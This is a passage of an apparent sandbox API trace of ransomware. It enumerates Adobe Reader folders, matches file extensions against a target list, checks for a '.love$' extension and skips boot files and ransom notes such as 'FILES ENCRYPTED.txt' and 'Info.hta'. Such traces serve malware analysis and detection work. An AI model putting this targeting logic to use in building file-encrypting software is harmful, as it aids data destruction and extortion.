dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.437] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0274.437] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css") returned 117 [0274.437] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css") returned 1 [0274.437] lstrlenW (lpString="css") returned 3 [0274.437] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="css") returned -1 [0274.437] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0274.438] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css") returned 117 [0274.438] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\*", lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315cb0 [0274.439] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.561] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 1 [0274.561] lstrlenW (lpString="main.css") returned 8 [0274.561] lstrlenW (lpString=".1cd") returned 4 [0274.561] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0274.561] lstrlenW (lpString=".3ds") returned 4 [0274.561] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0274.561] lstrlenW (lpString=".3fr") returned 4 [0274.561] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0274.561] lstrlenW (lpString=".3g2") returned 4 [0274.561] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0274.561] lstrlenW (lpString=".3gp") returned 4 [0274.561] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0274.561] lstrlenW (lpString=".7z") returned 3 [0274.562] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0274.562] lstrlenW (lpString=".accda") returned 6 [0274.562] lstrcmpiW (lpString1=".accda", lpString2="in.css") returned -1 [0274.562] lstrlenW (lpString=".accdb") returned 6 [0274.562] lstrcmpiW (lpString1=".accdb", lpString2="in.css") returned -1 [0274.562] lstrlenW (lpString=".accdc") returned 6 [0274.562] lstrcmpiW (lpString1=".accdc", lpString2="in.css") returned -1 [0274.562] lstrlenW (lpString=".accde") returned 6 [0274.562] lstrcmpiW (lpString1=".accde", lpString2="in.css") returned -1 [0274.562] lstrlenW (lpString=".accdt") returned 6 [0274.562] lstrcmpiW (lpString1=".accdt", lpString2="in.css") returned -1 [0274.562] lstrlenW (lpString=".accdw") returned 6 [0274.562] lstrcmpiW (lpString1=".accdw", lpString2="in.css") returned -1 [0274.562] lstrlenW (lpString=".adb") returned 4 [0274.562] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0274.562] lstrlenW (lpString=".adp") returned 4 [0274.562] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0274.562] lstrlenW (lpString=".ai") returned 3 [0274.562] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0274.562] lstrlenW (lpString=".ai3") returned 4 [0274.562] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0274.562] lstrlenW (lpString=".ai4") returned 4 [0274.562] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0274.563] lstrlenW (lpString=".ai5") returned 4 [0274.563] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0274.563] lstrlenW (lpString=".ai6") returned 4 [0274.563] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0274.563] lstrlenW (lpString=".ai7") returned 4 [0274.563] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0274.563] lstrlenW (lpString=".ai8") returned 4 [0274.563] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0274.563] lstrlenW (lpString=".anim") returned 5 [0274.563] lstrcmpiW (lpString1=".anim", lpString2="n.css") returned -1 [0274.563] lstrlenW (lpString=".arw") returned 4 [0274.563] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0274.563] lstrlenW (lpString=".as") returned 3 [0274.563] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0274.563] lstrlenW (lpString=".asa") returned 4 [0274.563] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0274.563] lstrlenW (lpString=".asc") returned 4 [0274.563] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0274.563] lstrlenW (lpString=".ascx") returned 5 [0274.563] lstrcmpiW (lpString1=".ascx", lpString2="n.css") returned -1 [0274.563] lstrlenW (lpString=".asm") returned 4 [0274.563] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0274.563] lstrlenW (lpString=".asmx") returned 5 [0274.563] lstrcmpiW (lpString1=".asmx", lpString2="n.css") returned -1 [0274.563] lstrlenW (lpString=".asp") returned 4 [0274.563] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0274.563] lstrlenW (lpString=".aspx") returned 5 [0274.564] lstrcmpiW (lpString1=".aspx", lpString2="n.css") returned -1 [0274.564] lstrlenW (lpString=".asr") returned 4 [0274.564] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0274.564] lstrlenW (lpString=".asx") returned 4 [0274.564] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0274.564] lstrlenW (lpString=".avi") returned 4 [0274.564] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0274.564] lstrlenW (lpString=".avs") returned 4 [0274.564] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0274.564] lstrlenW (lpString=".backup") returned 7 [0274.564] lstrcmpiW (lpString1=".backup", lpString2="ain.css") returned -1 [0274.564] lstrlenW (lpString=".bak") returned 4 [0274.564] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0274.564] lstrlenW (lpString=".bay") returned 4 [0274.564] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1 [0274.564] lstrlenW (lpString=".bd") returned 3 [0274.564] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1 [0274.564] lstrlenW (lpString=".bin") returned 4 [0274.564] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1 [0274.564] lstrlenW (lpString=".bmp") returned 4 [0274.564] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1 [0274.564] lstrlenW (lpString=".bz2") returned 4 [0274.564] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0274.564] lstrlenW (lpString=".c") returned 2 [0274.564] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1 [0274.564] lstrlenW (lpString=".cdr") returned 4 [0274.564] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1 [0274.564] lstrlenW (lpString=".cer") returned 4 [0274.564] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1 [0274.565] lstrlenW (lpString=".cf") returned 3 [0274.565] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1 [0274.565] lstrlenW (lpString=".cfc") returned 4 [0274.565] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1 [0274.565] lstrlenW (lpString=".cfm") returned 4 [0274.565] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1 [0274.565] lstrlenW (lpString=".cfml") returned 5 [0274.565] lstrcmpiW (lpString1=".cfml", lpString2="n.css") returned -1 [0274.565] lstrlenW (lpString=".cfu") returned 4 [0274.565] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1 [0274.565] lstrlenW (lpString=".chm") returned 4 [0274.565] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1 [0274.565] lstrlenW (lpString=".cin") returned 4 [0274.565] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1 [0274.565] lstrlenW (lpString=".class") returned 6 [0274.565] lstrcmpiW (lpString1=".class", lpString2="in.css") returned -1 [0274.565] lstrlenW (lpString=".clx") returned 4 [0274.565] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1 [0274.565] lstrlenW (lpString=".config") returned 7 [0274.565] lstrcmpiW (lpString1=".config", lpString2="ain.css") returned -1 [0274.565] lstrlenW (lpString=".cpp") returned 4 [0274.565] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1 [0274.565] lstrlenW (lpString=".cr2") returned 4 [0274.565] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1 [0274.565] lstrlenW (lpString=".crt") returned 4 [0274.565] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1 [0274.565] lstrlenW (lpString=".crw") returned 4 [0274.565] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1 [0274.566] lstrlenW (lpString=".cs") returned 3 [0274.566] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1 [0274.566] lstrlenW (lpString=".css") returned 4 [0274.566] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0 [0274.566] lstrlenW (lpString="main.css") returned 8 [0274.566] lstrlenW (lpString=".love$") returned 6 [0274.566] lstrcmpiW (lpString1=".love$", lpString2="in.css") returned -1 [0274.566] lstrlenW (lpString="main.css") returned 8 [0274.566] lstrcmpiW (lpString1="boot.ini", lpString2="main.css") returned -1 [0274.566] lstrcmpiW (lpString1="bootfont.bin", lpString2="main.css") returned -1 [0274.566] lstrcmpiW (lpString1="ntldr", lpString2="main.css") returned 1 [0274.566] lstrcmpiW (lpString1="ntdetect.com", lpString2="main.css") returned 1 [0274.566] lstrcmpiW (lpString1="io.sys", lpString2="main.css") returned -1 [0274.566] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="main.css") returned -1 [0274.566] lstrcmpiW (lpString1="Info.hta", lpString2="main.css") returned -1 [0274.566] lstrcmpiW (lpString1="finbbp.exe", lpString2="main.css") returned -1 [0274.566] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css") returned 126 [0274.566] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 0 [0274.566] FindClose (in: hFindFile=0x3315cb0 | out: hFindFile=0x3315cb0) returned 1 [0274.566] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0274.567] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0274.568] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js") returned 116 [0274.568] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js") returned 1 [0274.568] lstrlenW (lpString="js") returned 2 [0274.568] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="js") returned -1 [0274.568] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.569] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js") returned 116 [0274.569] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\*", lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0274.569] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.569] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9d6b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0274.569] lstrlenW (lpString="plugin.js") returned 9 [0274.569] lstrlenW (lpString=".1cd") returned 4 [0274.569] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1 [0274.569] lstrlenW (lpString=".3ds") returned 4 [0274.570] lstrcmpiW (lpString1=".3ds", lpString2="n.js") returned -1 [0274.570] lstrlenW (lpString=".3fr") returned 4 [0274.570] lstrcmpiW (lpString1=".3fr", lpString2="n.js") returned -1 [0274.570] lstrlenW (lpString=".3g2") returned 4 [0274.570] lstrcmpiW (lpString1=".3g2", lpString2="n.js") returned -1 [0274.570] lstrlenW (lpString=".3gp") returned 4 [0274.570] lstrcmpiW (lpString1=".3gp", lpString2="n.js") returned -1 [0274.570] lstrlenW (lpString=".7z") returned 3 [0274.570] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0274.570] lstrlenW (lpString=".accda") returned 6 [0274.570] lstrcmpiW (lpString1=".accda", lpString2="gin.js") returned -1 [0274.570] lstrlenW (lpString=".accdb") returned 6 [0274.570] lstrcmpiW (lpString1=".accdb", lpString2="gin.js") returned -1 [0274.570] lstrlenW (lpString=".accdc") returned 6 [0274.570] lstrcmpiW (lpString1=".accdc", lpString2="gin.js") returned -1 [0274.570] lstrlenW (lpString=".accde") returned 6 [0274.570] lstrcmpiW (lpString1=".accde", lpString2="gin.js") returned -1 [0274.570] lstrlenW (lpString=".accdt") returned 6 [0274.570] lstrcmpiW (lpString1=".accdt", lpString2="gin.js") returned -1 [0274.570] lstrlenW (lpString=".accdw") returned 6 [0274.570] lstrcmpiW (lpString1=".accdw", lpString2="gin.js") returned -1 [0274.570] lstrlenW (lpString=".adb") returned 4 [0274.570] lstrcmpiW (lpString1=".adb", lpString2="n.js") returned -1 [0274.570] lstrlenW (lpString=".adp") returned 4 [0274.570] lstrcmpiW (lpString1=".adp", lpString2="n.js") returned -1 [0274.570] lstrlenW (lpString=".ai") returned 3 [0274.570] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0274.570] lstrlenW (lpString=".ai3") returned 4 [0274.571] lstrcmpiW (lpString1=".ai3", lpString2="n.js") returned -1 [0274.571] lstrlenW (lpString=".ai4") returned 4 [0274.571] lstrcmpiW (lpString1=".ai4", lpString2="n.js") returned -1 [0274.571] lstrlenW (lpString=".ai5") returned 4 [0274.571] lstrcmpiW (lpString1=".ai5", lpString2="n.js") returned -1 [0274.571] lstrlenW (lpString=".ai6") returned 4 [0274.571] lstrcmpiW (lpString1=".ai6", lpString2="n.js") returned -1 [0274.571] lstrlenW (lpString=".ai7") returned 4 [0274.571] lstrcmpiW (lpString1=".ai7", lpString2="n.js") returned -1 [0274.571] lstrlenW (lpString=".ai8") returned 4 [0274.571] lstrcmpiW (lpString1=".ai8", lpString2="n.js") returned -1 [0274.571] lstrlenW (lpString=".anim") returned 5 [0274.571] lstrcmpiW (lpString1=".anim", lpString2="in.js") returned -1 [0274.571] lstrlenW (lpString=".arw") returned 4 [0274.571] lstrcmpiW (lpString1=".arw", lpString2="n.js") returned -1 [0274.571] lstrlenW (lpString=".as") returned 3 [0274.571] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0274.571] lstrlenW (lpString=".asa") returned 4 [0274.571] lstrcmpiW (lpString1=".asa", lpString2="n.js") returned -1 [0274.571] lstrlenW (lpString=".asc") returned 4 [0274.571] lstrcmpiW (lpString1=".asc", lpString2="n.js") returned -1 [0274.571] lstrlenW (lpString=".ascx") returned 5 [0274.571] lstrcmpiW (lpString1=".ascx", lpString2="in.js") returned -1 [0274.571] lstrlenW (lpString=".asm") returned 4 [0274.571] lstrcmpiW (lpString1=".asm", lpString2="n.js") returned -1 [0274.571] lstrlenW (lpString=".asmx") returned 5 [0274.571] lstrcmpiW (lpString1=".asmx", lpString2="in.js") returned -1 [0274.571] lstrlenW (lpString=".asp") returned 4 [0274.571] lstrcmpiW (lpString1=".asp", lpString2="n.js") returned -1 [0274.572] lstrlenW (lpString=".aspx") returned 5 [0274.572] lstrcmpiW (lpString1=".aspx", lpString2="in.js") returned -1 [0274.572] lstrlenW (lpString=".asr") returned 4 [0274.572] lstrcmpiW (lpString1=".asr", lpString2="n.js") returned -1 [0274.572] lstrlenW (lpString=".asx") returned 4 [0274.572] lstrcmpiW (lpString1=".asx", lpString2="n.js") returned -1 [0274.572] lstrlenW (lpString=".avi") returned 4 [0274.572] lstrcmpiW (lpString1=".avi", lpString2="n.js") returned -1 [0274.572] lstrlenW (lpString=".avs") returned 4 [0274.572] lstrcmpiW (lpString1=".avs", lpString2="n.js") returned -1 [0274.572] lstrlenW (lpString=".backup") returned 7 [0274.572] lstrcmpiW (lpString1=".backup", lpString2="ugin.js") returned -1 [0274.572] lstrlenW (lpString=".bak") returned 4 [0274.572] lstrcmpiW (lpString1=".bak", lpString2="n.js") returned -1 [0274.572] lstrlenW (lpString=".bay") returned 4 [0274.572] lstrcmpiW (lpString1=".bay", lpString2="n.js") returned -1 [0274.572] lstrlenW (lpString=".bd") returned 3 [0274.572] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0274.572] lstrlenW (lpString=".bin") returned 4 [0274.572] lstrcmpiW (lpString1=".bin", lpString2="n.js") returned -1 [0274.572] lstrlenW (lpString=".bmp") returned 4 [0274.572] lstrcmpiW (lpString1=".bmp", lpString2="n.js") returned -1 [0274.572] lstrlenW (lpString=".bz2") returned 4 [0274.572] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1 [0274.572] lstrlenW (lpString=".c") returned 2 [0274.572] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0274.572] lstrlenW (lpString=".cdr") returned 4 [0274.572] lstrcmpiW (lpString1=".cdr", lpString2="n.js") returned -1 [0274.572] lstrlenW (lpString=".cer") returned 4 [0274.573] lstrcmpiW (lpString1=".cer", lpString2="n.js") returned -1 [0274.573] lstrlenW (lpString=".cf") returned 3 [0274.573] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0274.573] lstrlenW (lpString=".cfc") returned 4 [0274.573] lstrcmpiW (lpString1=".cfc", lpString2="n.js") returned -1 [0274.573] lstrlenW (lpString=".cfm") returned 4 [0274.573] lstrcmpiW (lpString1=".cfm", lpString2="n.js") returned -1 [0274.573] lstrlenW (lpString=".cfml") returned 5 [0274.573] lstrcmpiW (lpString1=".cfml", lpString2="in.js") returned -1 [0274.573] lstrlenW (lpString=".cfu") returned 4 [0274.573] lstrcmpiW (lpString1=".cfu", lpString2="n.js") returned -1 [0274.573] lstrlenW (lpString=".chm") returned 4 [0274.573] lstrcmpiW (lpString1=".chm", lpString2="n.js") returned -1 [0274.573] lstrlenW (lpString=".cin") returned 4 [0274.573] lstrcmpiW (lpString1=".cin", lpString2="n.js") returned -1 [0274.573] lstrlenW (lpString=".class") returned 6 [0274.573] lstrcmpiW (lpString1=".class", lpString2="gin.js") returned -1 [0274.573] lstrlenW (lpString=".clx") returned 4 [0274.573] lstrcmpiW (lpString1=".clx", lpString2="n.js") returned -1 [0274.573] lstrlenW (lpString=".config") returned 7 [0274.573] lstrcmpiW (lpString1=".config", lpString2="ugin.js") returned -1 [0274.573] lstrlenW (lpString=".cpp") returned 4 [0274.573] lstrcmpiW (lpString1=".cpp", lpString2="n.js") returned -1 [0274.573] lstrlenW (lpString=".cr2") returned 4 [0274.573] lstrcmpiW (lpString1=".cr2", lpString2="n.js") returned -1 [0274.573] lstrlenW (lpString=".crt") returned 4 [0274.573] lstrcmpiW (lpString1=".crt", lpString2="n.js") returned -1 [0274.573] lstrlenW (lpString=".crw") returned 4 [0274.574] lstrcmpiW (lpString1=".crw", lpString2="n.js") returned -1 [0274.574] lstrlenW (lpString=".cs") returned 3 [0274.574] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0274.574] lstrlenW (lpString=".css") returned 4 [0274.574] lstrcmpiW (lpString1=".css", lpString2="n.js") returned -1 [0274.574] lstrlenW (lpString=".csv") returned 4 [0274.574] lstrcmpiW (lpString1=".csv", lpString2="n.js") returned -1 [0274.574] lstrlenW (lpString=".cub") returned 4 [0274.574] lstrcmpiW (lpString1=".cub", lpString2="n.js") returned -1 [0274.574] lstrlenW (lpString=".dae") returned 4 [0274.574] lstrcmpiW (lpString1=".dae", lpString2="n.js") returned -1 [0274.574] lstrlenW (lpString=".dat") returned 4 [0274.574] lstrcmpiW (lpString1=".dat", lpString2="n.js") returned -1 [0274.574] lstrlenW (lpString=".db") returned 3 [0274.574] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0274.574] lstrlenW (lpString=".dbf") returned 4 [0274.574] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1 [0274.574] lstrlenW (lpString=".dbx") returned 4 [0274.574] lstrcmpiW (lpString1=".dbx", lpString2="n.js") returned -1 [0274.574] lstrlenW (lpString=".dc3") returned 4 [0274.574] lstrcmpiW (lpString1=".dc3", lpString2="n.js") returned -1 [0274.574] lstrlenW (lpString=".dcm") returned 4 [0274.574] lstrcmpiW (lpString1=".dcm", lpString2="n.js") returned -1 [0274.574] lstrlenW (lpString=".dcr") returned 4 [0274.574] lstrcmpiW (lpString1=".dcr", lpString2="n.js") returned -1 [0274.574] lstrlenW (lpString=".der") returned 4 [0274.574] lstrcmpiW (lpString1=".der", lpString2="n.js") returned -1 [0274.574] lstrlenW (lpString=".dib") returned 4 [0274.575] lstrcmpiW (lpString1=".dib", lpString2="n.js") returned -1 [0274.575] lstrlenW (lpString=".dic") returned 4 [0274.575] lstrcmpiW (lpString1=".dic", lpString2="n.js") returned -1 [0274.575] lstrlenW (lpString=".dif") returned 4 [0274.575] lstrcmpiW (lpString1=".dif", lpString2="n.js") returned -1 [0274.575] lstrlenW (lpString=".divx") returned 5 [0274.575] lstrcmpiW (lpString1=".divx", lpString2="in.js") returned -1 [0274.575] lstrlenW (lpString=".djvu") returned 5 [0274.575] lstrcmpiW (lpString1=".djvu", lpString2="in.js") returned -1 [0274.575] lstrlenW (lpString=".dng") returned 4 [0274.575] lstrcmpiW (lpString1=".dng", lpString2="n.js") returned -1 [0274.575] lstrlenW (lpString=".doc") returned 4 [0274.575] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1 [0274.575] lstrlenW (lpString=".docm") returned 5 [0274.575] lstrcmpiW (lpString1=".docm", lpString2="in.js") returned -1 [0274.575] lstrlenW (lpString=".docx") returned 5 [0274.575] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1 [0274.575] lstrlenW (lpString=".dot") returned 4 [0274.575] lstrcmpiW (lpString1=".dot", lpString2="n.js") returned -1 [0274.575] lstrlenW (lpString=".dotm") returned 5 [0274.575] lstrcmpiW (lpString1=".dotm", lpString2="in.js") returned -1 [0274.575] lstrlenW (lpString=".dotx") returned 5 [0274.575] lstrcmpiW (lpString1=".dotx", lpString2="in.js") returned -1 [0274.575] lstrlenW (lpString=".dpx") returned 4 [0274.575] lstrcmpiW (lpString1=".dpx", lpString2="n.js") returned -1 [0274.575] lstrlenW (lpString=".dqy") returned 4 [0274.575] lstrcmpiW (lpString1=".dqy", lpString2="n.js") returned -1 [0274.576] lstrlenW (lpString=".dsn") returned 4 [0274.576] lstrcmpiW (lpString1=".dsn", lpString2="n.js") returned -1 [0274.576] lstrlenW (lpString=".dt") returned 3 [0274.576] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0274.576] lstrlenW (lpString=".dtd") returned 4 [0274.576] lstrcmpiW (lpString1=".dtd", lpString2="n.js") returned -1 [0274.576] lstrlenW (lpString=".dwg") returned 4 [0274.576] lstrcmpiW (lpString1=".dwg", lpString2="n.js") returned -1 [0274.576] lstrlenW (lpString=".dwt") returned 4 [0274.576] lstrcmpiW (lpString1=".dwt", lpString2="n.js") returned -1 [0274.576] lstrlenW (lpString=".dx") returned 3 [0274.576] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0274.576] lstrlenW (lpString=".dxf") returned 4 [0274.576] lstrcmpiW (lpString1=".dxf", lpString2="n.js") returned -1 [0274.576] lstrlenW (lpString=".edml") returned 5 [0274.576] lstrcmpiW (lpString1=".edml", lpString2="in.js") returned -1 [0274.576] lstrlenW (lpString=".efd") returned 4 [0274.576] lstrcmpiW (lpString1=".efd", lpString2="n.js") returned -1 [0274.576] lstrlenW (lpString=".elf") returned 4 [0274.576] lstrcmpiW (lpString1=".elf", lpString2="n.js") returned -1 [0274.576] lstrlenW (lpString=".emf") returned 4 [0274.643] lstrcmpiW (lpString1=".emf", lpString2="n.js") returned -1 [0274.643] lstrlenW (lpString=".emz") returned 4 [0274.655] lstrcmpiW (lpString1=".emz", lpString2="n.js") returned -1 [0274.655] lstrlenW (lpString=".epf") returned 4 [0274.655] lstrcmpiW (lpString1=".epf", lpString2="n.js") returned -1 [0274.659] lstrlenW (lpString=".eps") returned 4 [0274.659] lstrcmpiW (lpString1=".eps", lpString2="n.js") returned -1 [0274.659] lstrlenW (lpString=".epsf") returned 5 